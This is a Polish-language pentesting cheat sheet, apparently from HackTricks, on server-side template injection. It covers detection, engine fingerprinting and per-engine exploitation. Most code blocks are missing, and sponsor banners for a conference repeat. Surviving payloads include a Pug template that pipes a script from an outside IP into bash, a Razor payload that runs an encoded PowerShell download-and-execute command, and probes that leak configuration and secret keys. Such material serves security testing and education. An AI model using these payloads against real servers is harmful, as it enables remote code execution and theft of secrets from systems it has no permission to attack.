SSTI (Server Side Template Injection)
RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Z misją promowania wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów z dziedziny technologii i cyberbezpieczeństwa w każdej dyscyplinie.
Czym jest SSTI (Server-Side Template Injection)
Server-side template injection to luka, która występuje, gdy atakujący może wstrzyknąć złośliwy kod do szablonu, który jest wykonywany na serwerze. Ta luka może występować w różnych technologiach, w tym Jinja.
Jinja to popularny silnik szablonów używany w aplikacjach internetowych. Rozważmy przykład, który demonstruje podatny fragment kodu używający Jinja:
W tym podatnym kodzie, parametr name
z żądania użytkownika jest bezpośrednio przekazywany do szablonu za pomocą funkcji render
. Może to potencjalnie umożliwić atakującemu wstrzyknięcie złośliwego kodu do parametru name
, co prowadzi do wstrzyknięcia szablonu po stronie serwera.
Na przykład, atakujący mógłby przygotować żądanie z ładunkiem takim jak ten:
Payload {{bad-stuff-here}}
jest wstrzykiwany do parametru name
. Ten payload może zawierać dyrektywy szablonów Jinja, które umożliwiają atakującemu wykonanie nieautoryzowanego kodu lub manipulację silnikiem szablonów, co potencjalnie może prowadzić do przejęcia kontroli nad serwerem.
Aby zapobiec podatnościom na wstrzykiwanie szablonów po stronie serwera, deweloperzy powinni upewnić się, że dane wejściowe od użytkowników są odpowiednio oczyszczane i walidowane przed wstawieniem ich do szablonów. Wdrożenie walidacji danych wejściowych i użycie technik ucieczki uwzględniających kontekst mogą pomóc w złagodzeniu ryzyka tej podatności.
Wykrywanie
Aby wykryć wstrzykiwanie szablonów po stronie serwera (SSTI), początkowo fuzzing szablonu jest prostym podejściem. Polega to na wstrzykiwaniu sekwencji znaków specjalnych (${{<%[%'"}}%\
) do szablonu i analizowaniu różnic w odpowiedzi serwera na dane regularne w porównaniu do tego specjalnego payloadu. Wskaźniki podatności obejmują:
Rzucone błędy, ujawniające podatność i potencjalnie silnik szablonów.
Brak payloadu w odbiciu lub brakujące jego części, co sugeruje, że serwer przetwarza go inaczej niż dane regularne.
Kontekst tekstowy: Rozróżnienie od XSS poprzez sprawdzenie, czy serwer ocenia wyrażenia szablonów (np.
{{7*7}}
,${7*7}
).Kontekst kodu: Potwierdzenie podatności poprzez zmianę parametrów wejściowych. Na przykład, zmieniając
greeting
whttp://vulnerable-website.com/?greeting=data.username
, aby sprawdzić, czy wyjście serwera jest dynamiczne czy stałe, jak wgreeting=data.username}}hello
, zwracając nazwę użytkownika.
Faza identyfikacji
Identyfikacja silnika szablonów polega na analizie komunikatów o błędach lub ręcznym testowaniu różnych payloadów specyficznych dla języka. Typowe payloady powodujące błędy to ${7/0}
, {{7/0}}
i <%= 7/0 %>
. Obserwacja odpowiedzi serwera na operacje matematyczne pomaga określić konkretny silnik szablonów.
Narzędzia
efektywny skaner SSTI + CSTI, który wykorzystuje nowatorskie poligloty
interaktywna tabela zawierająca najskuteczniejsze poligloty wstrzyknięć szablonów wraz z oczekiwanymi odpowiedziami 44 najważniejszych silników szablonów.
Eksploity
Ogólne
W tej liście słów możesz znaleźć zmienne zdefiniowane w środowiskach niektórych z wymienionych poniżej silników:
Java
Java - Podstawowe wstrzyknięcie
Java - Pobierz zmienne środowiskowe systemu
Java - Pobierz /etc/passwd
FreeMarker (Java)
Możesz przetestować swoje ładunki na https://try.freemarker.apache.org
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Nic
${foobar}
Freemarker - Ominięcie piaskownicy
⚠️ działa tylko w wersjach Freemarker poniżej 2.3.30
Więcej informacji
W sekcji FreeMarker na https://portswigger.net/research/server-side-template-injection
Velocity (Java)
Więcej informacji
W sekcji Velocity na https://portswigger.net/research/server-side-template-injection
Thymeleaf
W Thymeleaf, powszechnym testem na podatności SSTI jest wyrażenie ${7*7}
, które również dotyczy tego silnika szablonów. W przypadku potencjalnego zdalnego wykonania kodu, można użyć takich wyrażeń jak:
SpringEL:
OGNL:
Thymeleaf wymaga, aby te wyrażenia były umieszczane w określonych atrybutach. Jednak wstawianie wyrażeń jest wspierane w innych lokalizacjach szablonów, używając składni takiej jak [[...]]
lub [(...)]
. Zatem prosty ładunek testowy SSTI może wyglądać jak [[${7*7}]]
.
Jednak prawdopodobieństwo, że ten ładunek zadziała, jest zazwyczaj niskie. Domyślna konfiguracja Thymeleaf nie wspiera dynamicznego generowania szablonów; szablony muszą być zdefiniowane z góry. Programiści musieliby zaimplementować własny TemplateResolver
, aby tworzyć szablony z ciągów w locie, co jest rzadkie.
Thymeleaf oferuje również wstępne przetwarzanie wyrażeń, gdzie wyrażenia w podwójnych podkreśleniach (__...__
) są wstępnie przetwarzane. Ta funkcja może być wykorzystana w konstrukcji wyrażeń, jak pokazano w dokumentacji Thymeleaf:
Przykład podatności w Thymeleaf
Rozważ następujący fragment kodu, który może być podatny na wykorzystanie:
To wskazuje, że jeśli silnik szablonów przetwarza te dane wejściowe niewłaściwie, może to prowadzić do zdalnego wykonania kodu uzyskującego dostęp do adresów URL takich jak:
Więcej informacji
Spring Framework (Java)
Obchodzenie filtrów
Można używać wielu wyrażeń zmiennych, jeśli ${...}
nie działa, spróbuj #{...}
, *{...}
, @{...}
lub ~{...}
.
Przeczytaj
/etc/passwd
Niestandardowy skrypt do generowania ładunków
Więcej informacji
Manipulacja widokiem Spring (Java)
Pebble (Java)
{{ someString.toUPPERCASE() }}
Stara wersja Pebble ( < wersja 3.0.9):
Nowa wersja Pebble:
Jinjava (Java)
Jinjava to projekt open source opracowany przez Hubspot, dostępny pod adresem https://github.com/HubSpot/jinjava/
Jinjava - Wykonywanie poleceń
Naprawione przez https://github.com/HubSpot/jinjava/pull/230
Więcej informacji
Hubspot - HuBL (Java)
{% %}
delimitery instrukcji{{ }}
delimitery wyrażeń{# #}
delimitery komentarzy{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- klasa com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Szukaj "com.hubspot.content.hubl.context.TemplateContextRequest" i odkryj projekt Jinjava na Githubie.
Więcej informacji
Expression Language - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
Expression Language (EL) jest podstawową funkcją, która ułatwia interakcję między warstwą prezentacji (taką jak strony internetowe) a logiką aplikacji (taką jak zarządzane beany) w JavaEE. Jest szeroko stosowana w wielu technologiach JavaEE, aby uprościć tę komunikację. Kluczowe technologie JavaEE wykorzystujące EL to:
JavaServer Faces (JSF): Wykorzystuje EL do powiązania komponentów w stronach JSF z odpowiadającymi danymi i akcjami w backendzie.
JavaServer Pages (JSP): EL jest używane w JSP do uzyskiwania dostępu i manipulowania danymi w stronach JSP, co ułatwia łączenie elementów strony z danymi aplikacji.
Contexts and Dependency Injection for Java EE (CDI): EL integruje się z CDI, aby umożliwić płynne interakcje między warstwą webową a zarządzanymi beanami, zapewniając bardziej spójną strukturę aplikacji.
Sprawdź następującą stronę, aby dowiedzieć się więcej o eksploatacji interpreterów EL:
EL - Expression LanguageGroovy (Java)
Następujące obejścia Menedżera Bezpieczeństwa zostały zaczerpnięte z tego opisu.
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2Ffiles.gitbook.com%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-L_2uGJGU7AVNRcqRvEi%252Fuploads%252FelPCTwoecVdnsfjxCZtN%252Fimage.png%3Falt%3Dmedia%26token%3D9ee4ff3e-92dc-471c-abfe-1c25e446a6ed&width=768&dpr=4&quality=100&sign=9c8fe74f&sv=1)
RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Z misją promowania wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów z dziedziny technologii i cyberbezpieczeństwa w każdej dyscyplinie.
Smarty (PHP)
Więcej informacji
W sekcji Smarty na https://portswigger.net/research/server-side-template-injection
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Błąd
{{foobar}} Nic
Twig - Format szablonu
Więcej informacji
W sekcji Twig i Twig (Sandboxed) na https://portswigger.net/research/server-side-template-injection
Plates (PHP)
Plates to silnik szablonów natywny dla PHP, czerpiący inspirację z Twig. Jednak w przeciwieństwie do Twig, który wprowadza nową składnię, Plates wykorzystuje natywny kod PHP w szablonach, co czyni go intuicyjnym dla programistów PHP.
Controller:
Szablon strony:
Layout template:
Więcej informacji
PHPlib i HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB jest tym samym co PHPlib, ale przeniesionym do Pear.
authors.tpl
authors.php
Więcej informacji
Jade (NodeJS)
Więcej informacji
W sekcji Jade na https://portswigger.net/research/server-side-template-injection
patTemplate (PHP)
patTemplate to niekompilujący silnik szablonów PHP, który używa znaczników XML do podziału dokumentu na różne części
Więcej informacji
Handlebars (NodeJS)
Przechodzenie ścieżek (więcej informacji tutaj).
= Błąd
${7*7} = ${7*7}
Nic
Więcej informacji
JsRender (NodeJS)
Szablon | Opis |
Oceń i renderuj wynik | |
Oceń i renderuj wynik zakodowany w HTML | |
Komentarz | |
i | Zezwól na kod (domyślnie wyłączone) |
= 49
Strona Klienta
Serwer Po Stronie
Więcej informacji
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Przykład renderowania po stronie serwera
Więcej informacji
NUNJUCKS (NodeJS)
{{7*7}} = 49
{{foo}} = Brak wyjścia
#{7*7} = #{7*7}
{{console.log(1)}} = Błąd
Więcej informacji
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Błąd
Więcej informacji
Slim (Ruby)
{ 7 * 7 }
Więcej informacji
Python
Sprawdź następującą stronę, aby poznać sztuczki dotyczące omijania wykonania dowolnych poleceń w piaskownicach w pythonie:
Bypass Python sandboxesTornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Błąd
{{7*'7'}} = 7777777
Więcej informacji
Jinja2 (Python)
Jinja2 to w pełni funkcjonalny silnik szablonów dla Pythona. Posiada pełne wsparcie dla unicode, opcjonalne zintegrowane środowisko wykonawcze w piaskownicy, szeroko stosowane i licencjonowane na podstawie BSD.
{{7*7}} = Błąd
${7*7} = ${7*7}
{{foobar}} Nic
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
Jinja2 - Format szablonu
RCE nie zależy od __builtins__
:
Więcej szczegółów na temat nadużywania Jinja:
Jinja2 SSTIInne ładunki w https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
Więcej informacji
Razor (.Net)
@(2+2) <= Sukces
@() <= Sukces
@("{{code}}") <= Sukces
@ <= Sukces
@{} <= BŁĄD!
@{ <= BŁĄD!
@(1+2)
@( //C#Code )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
Metoda .NET System.Diagnostics.Process.Start
może być używana do uruchamiania dowolnego procesu na serwerze, a tym samym do tworzenia webshella. Możesz znaleźć przykład podatnej aplikacji webowej w https://github.com/cnotin/RazorVulnerableApp
Więcej informacji
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Nic<%= response.write(date()) %>
= <Data>
Więcej informacji
Mojolicious (Perl)
Nawet jeśli to Perl, używa tagów podobnych do ERB w Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Błąd
SSTI w GO
W silniku szablonów Go, potwierdzenie jego użycia można uzyskać za pomocą konkretnych ładunków:
{{ . }}
: Odkrywa strukturę danych wejściowych. Na przykład, jeśli przekazany jest obiekt z atrybutemPassword
,{{ .Password }}
może go ujawnić.{{printf "%s" "ssti" }}
: Oczekiwane jest wyświetlenie ciągu "ssti".{{html "ssti"}}
,{{js "ssti"}}
: Te ładunki powinny zwrócić "ssti" bez dodawania "html" lub "js". Dalsze dyrektywy można zbadać w dokumentacji Go tutaj.
Wykorzystanie XSS
Z pakietem text/template
, XSS może być proste poprzez bezpośrednie wstawienie ładunku. W przeciwieństwie do tego, pakiet html/template
koduje odpowiedź, aby temu zapobiec (np. {{"<script>alert(1)</script>"}}
skutkuje <script>alert(1)</script>
). Niemniej jednak, definicja i wywołanie szablonu w Go mogą obejść to kodowanie: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
Wykorzystanie RCE
Wykorzystanie RCE różni się znacznie między html/template
a text/template
. Moduł text/template
pozwala na bezpośrednie wywoływanie dowolnej publicznej funkcji (używając wartości „call”), co nie jest dozwolone w html/template
. Dokumentacja dla tych modułów jest dostępna tutaj dla html/template i tutaj dla text/template.
Dla RCE przez SSTI w Go, metody obiektów mogą być wywoływane. Na przykład, jeśli dostarczony obiekt ma metodę System
wykonującą polecenia, można to wykorzystać jak {{ .System "ls" }}
. Zazwyczaj dostęp do kodu źródłowego jest konieczny, aby to wykorzystać, jak w podanym przykładzie:
Więcej informacji
Więcej exploitów
Sprawdź resztę https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection w poszukiwaniu kolejnych exploitów. Możesz również znaleźć interesujące informacje o tagach w https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
Powiązana pomoc
Jeśli uważasz, że to może być przydatne, przeczytaj:
Narzędzia
Lista wykrywania brute-force
Ćwiczenia i odniesienia
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2Ffiles.gitbook.com%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-L_2uGJGU7AVNRcqRvEi%252Fuploads%252FelPCTwoecVdnsfjxCZtN%252Fimage.png%3Falt%3Dmedia%26token%3D9ee4ff3e-92dc-471c-abfe-1c25e446a6ed&width=768&dpr=4&quality=100&sign=9c8fe74f&sv=1)
RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Z misją promowania wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów z dziedziny technologii i cyberbezpieczeństwa w każdej dyscyplinie.
Last updated